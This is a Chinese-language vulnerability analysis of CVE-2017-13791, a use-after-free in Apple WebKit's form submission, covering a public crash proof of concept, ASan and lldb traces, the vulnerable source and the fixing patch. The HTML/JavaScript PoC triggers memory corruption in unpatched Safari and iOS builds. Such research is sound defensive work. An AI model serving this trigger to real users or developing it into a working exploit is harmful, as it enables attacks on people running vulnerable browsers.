Apple Webkit漏洞分析—【CVE-2017-13791】

0x00 简介

漏洞信息

CVE-2017-13791 是存在于 Apple Webkit 中的 Use After Free 漏洞, 可导致远程代码执行. 影响范围: Safari 11.0.1, iOS 11.1, iCloud 7.1 on Windows, iTunes 12.7.1, tvOS 11.1. 由 Google Project Zero 成员 ifratric 最先发现, 公开于 2017-11-22.

PoC

<script>

function jsfuzzer() {

  textarea1.setRangeText("foo");//1355

  textarea2.autofocus = true;

  textarea1.name = "foo";

  form.insertBefore(textarea2, form.firstChild); /*[1]*/

  form.submit();

}

function eventhandler2() {

  for(var i=0;i<100;i++) {

​    var e = document.createElement("input");    /*[2]*/

​    form.appendChild(e);                       /*[3]*/

  }

}

</script>

<body onload=jsfuzzer()>

<form id="form" onchange="eventhandler2()">

<textarea id="textarea1">a</textarea>

<object id="object"></object>

<textarea id="textarea2">b</textarea>

[1] insertBefore(): 在当前节点的某个子节点之前再插入一个子节点

[2] createElement(): 创建元素节点, 返回一个 Element 对象

[3] appendChild(): 向节点添加最后一个子节点

在 exploit-db 上能找到这个洞, 不过也没有 EXP 只有 PoC, Q-Q

UAF 漏洞

根本原因在于不正确的释放内存. heap-use-after-free表现为将堆free之后未将指针置空, 之后访问到该悬挂指针, 这个行为的结果是未定义的, 可能造成任意代码执行.

举例, 最简单的情况:

*p  =  malloc(1024);

free(p);

return p;

早期 UAF 一般通过占位和堆喷来进行利用, 是浏览器中最常见漏洞类型之一.

0x01 调试

编译源码

下载 Webkit 源代码:

-> git clone git://git.webkit.org/WebKit.git WebKit

for macOS:

-> Tools/Scripts/set-webkit-configuration --asan --debug 

-> Tools/Scripts/build-webkit

for iOS:

-> Tools/Scripts/configure-xcode-for-ios-development

-> Tools/Scripts/build-webkit --asan --debug --ios-simulator

在调试漏洞时请根据切换到相关的分支编译.

调试

调试器是人类进步的阶梯.

笔者编译的是 macOS 版本, 使用的调试器是lldb.通过以下命令运行 Safari:

-> Tools/Scripts/run-safari

打开 PoC, 浏览器崩溃. AddressSanitizer信息显示这里出现了heap-use-after-free:

==39338==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00011aa10 at pc 0x0001062c627a bp 0x7fff5f8a33f0 sp 0x7fff5f8a33e8

READ of size 8 at 0x60c00011aa10 thread T0

==39338==WARNING: invalid path to external symbolizer!

==39338==WARNING: Failed to use and restart external symbolizer!

​    #0 0x1062c6279 in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9e279)

​    #1 0x1065162ea in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdee2ea)

​    #2 0x106fb8e20 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1890e20)

​    #3 0x106fb5ee7 in long long WebCore::IDLOperation<WebCore::JSHTMLFormElement>::call<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x188dee7)

​    #4 0x37fb36e01027  (<unknown module>)

​    #5 0x113f46fe9 in llint_entry (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x178bfe9)

​    #6 0x113f46fe9 in llint_entry (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x178bfe9)

​    #7 0x113f4010f in vmEntryToJavaScript (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x178510f)

​    #8 ......

在这里, 异常点就是重用点(use):

#0 0x1062c6279 in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9e279)

推测一下, 可能是 eventhandler2()导致的free, 因为jsfuzzer()中改变了 textarea2, 导致onchange事件触发, 进入vmEntryToJavaScript:

function eventhandler2() {

  for(var i=0;i<100;i++) {

​    var e = document.createElement("input");    

​    form.appendChild(e);                                      

  }

}

......

<form id="form" onchange="eventhandler2()">

lldb中确认. 可以看到 eventhandler2中使用的appendChild()方法经过层层调用释放了 WebCore::FormAssociatedElement*

​    #0 0x103670044 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5a044)

​    #1 0x11465dbc0 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1ea2bc0)

​    #2 0x10651b537 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3537)

​    #3 0x106517eff in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefeff)

​    #4 0x106517d6f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefd6f)

​    #5 0x106276c98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4ec98)

​    #6 0x1062775fe in WebCore::FormAssociatedElement::resetFormOwner() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f5fe)

​    #7 0x10653719d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0f19d)

​    #8 0x105b12378 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ea378)

​    #9 0x105b11ecf in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9ecf)

​    #10 0x105b11798 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9798)

​    #11 0x105b14b54 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecb54)

那么为什么漏洞函数

WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger)

执行的时候这个元素就被释放了呢?

阅读源代码找 bug:

Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attributes& attributes, Event* event, LockHistory lockHistory, FormSubmissionTrigger trigger)

{

​    /*省略*/

​    bool containsPasswordData = false;

​    {

​        NoEventDispatchAssertion noEventDispatchAssertion;

​        for (auto& control : form.associatedElements()) {

​            auto& element = control->asHTMLElement();

​            if (!element.isDisabledFormControl())

​                control->appendFormData(domFormData, isMultiPartForm);

​            if (is<HTMLInputElement>(element)) {

​                auto& input = downcast<HTMLInputElement>(element);

​                if (input.isTextField()) {

​                    formValues.append({ input.name().string(), input.value() });

​                    input.addSearchResult();

​                }

​                if (input.isPasswordField() && !input.value().isEmpty())

​                    containsPasswordData = true;

​            }

​        }

​    }

   /*省略*/

}

0x02 分析

不知道大家有没有看出什么问题. 那么下面是该漏洞的patch:

@@ -191,22 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut

 bool containsPasswordData = false;

 \-    {

 \-        NoEventDispatchAssertion noEventDispatchAssertion;

 \-

 \-        for (auto& control : form.associatedElements()) {

 \-            auto& element = control->asHTMLElement();

 \-            if (!element.isDisabledFormControl())

 \-                control->appendFormData(domFormData, isMultiPartForm);

 \-            if (is<HTMLInputElement>(element)) {

 \-                auto& input = downcast<HTMLInputElement>(element);

 \-                if (input.isTextField()) {

 \-                    formValues.append({ input.name().string(), input.value() });

 \-                    input.addSearchResult();

 \-                }

 \-                if (input.isPasswordField() && !input.value().isEmpty())

 \-                    containsPasswordData = true;

 \+    auto protectedAssociatedElements = form.associatedElements().map([] (FormAssociatedElement* rawElement) -> Ref<FormAssociatedElement> {

 \+        return *rawElement;

 \+    });

 +

 \+    for (auto& control : protectedAssociatedElements) {

 \+        auto& element = control->asHTMLElement();

 \+        if (!element.isDisabledFormControl())

 \+            control->appendFormData(domFormData, isMultiPartForm);

 \+        if (is<HTMLInputElement>(element)) {

 \+            auto& input = downcast<HTMLInputElement>(element);

 \+            if (input.isTextField()) {

 \+                formValues.append({ input.name(), input.value() });

 \+                input.addSearchResult();

​              }

 \+            if (input.isPasswordField() && !input.value().isEmpty())

 \+                containsPasswordData = true;

​          }

​      }

前后代码有什么不同?

之前迭代的时候直接使用HTMLFormElement中的m_associatedElements引用, 而现在新增了一个通过 Ref<FormAssociatedElement>产生的引用来取代之前的 m_associatedElements.访问origin objectcached object完成的功能是一样的, 访问路径却不一样. 在 for (auto& control : form.associatedElements())执行的时候, runtime缓存了m_associatedElements的地址, 然而通过appendFormData()也可以访问到这个地址:

(lldb) bt

   * thread #1, queue = 'com.apple.main-thread', stop reason = step in

   * frame #0: 0x0000000111ceb42f WebCore`WebCore::Document::updateLayout(this=0x00006200000210e0) at Document.cpp:1907

​    frame #1: 0x0000000112e3f31c WebCore`WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042a1c0, encoding=0x000060400060d810, (null)=false) at HTMLTextAreaElement.cpp:225

​    frame #2: 0x0000000112e3f54b WebCore`non-virtual thunk to WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042a1c0, encoding=0x000060400060d810, (null)=false) at HTMLTextAreaElement.cpp:0

​    frame #3: 0x00000001126a34f8 WebCore`WebCore::FormSubmission::create(form=0x000061100042a080, attributes=0x000061100042a0e8, event=0x0000000000000000, lockHistory=Yes, trigger=SubmittedByJavaScript) at FormSubmission.cpp:200

​    frame #4:......

在这里调用到了updateLayout()是因为在submit时需要保持页面布局是最新的. 导致有了一个时机通过回调事件访问(free)目标对象.

在这个 CVE 中, 漏洞代码违背了一个重要的原则 :Time Of Check, Time Of Use.当 TOCTOU 被打破的时候, 往往就会出现 UAF 等危害较大的漏洞.

ref:

https://www.exploit-db.com/exploits/43176/

https://threatpoint.checkpoint.com/ThreatPortal/threat?threatId=CVE_2017_13791&threatType=protection

https://developer.mozilla.org/en-US/docs/Web/API/Node/insertBefore

http://www.w3school.com.cn/xmldom/met_document_createelement.asp

http://www.w3school.com.cn/jsref/met_node_appendchild.asp

https://bbs.pediy.com/thread-223107.htm

https://github.com/WebKit/webkit


原文链接: xianzhi.aliyun.com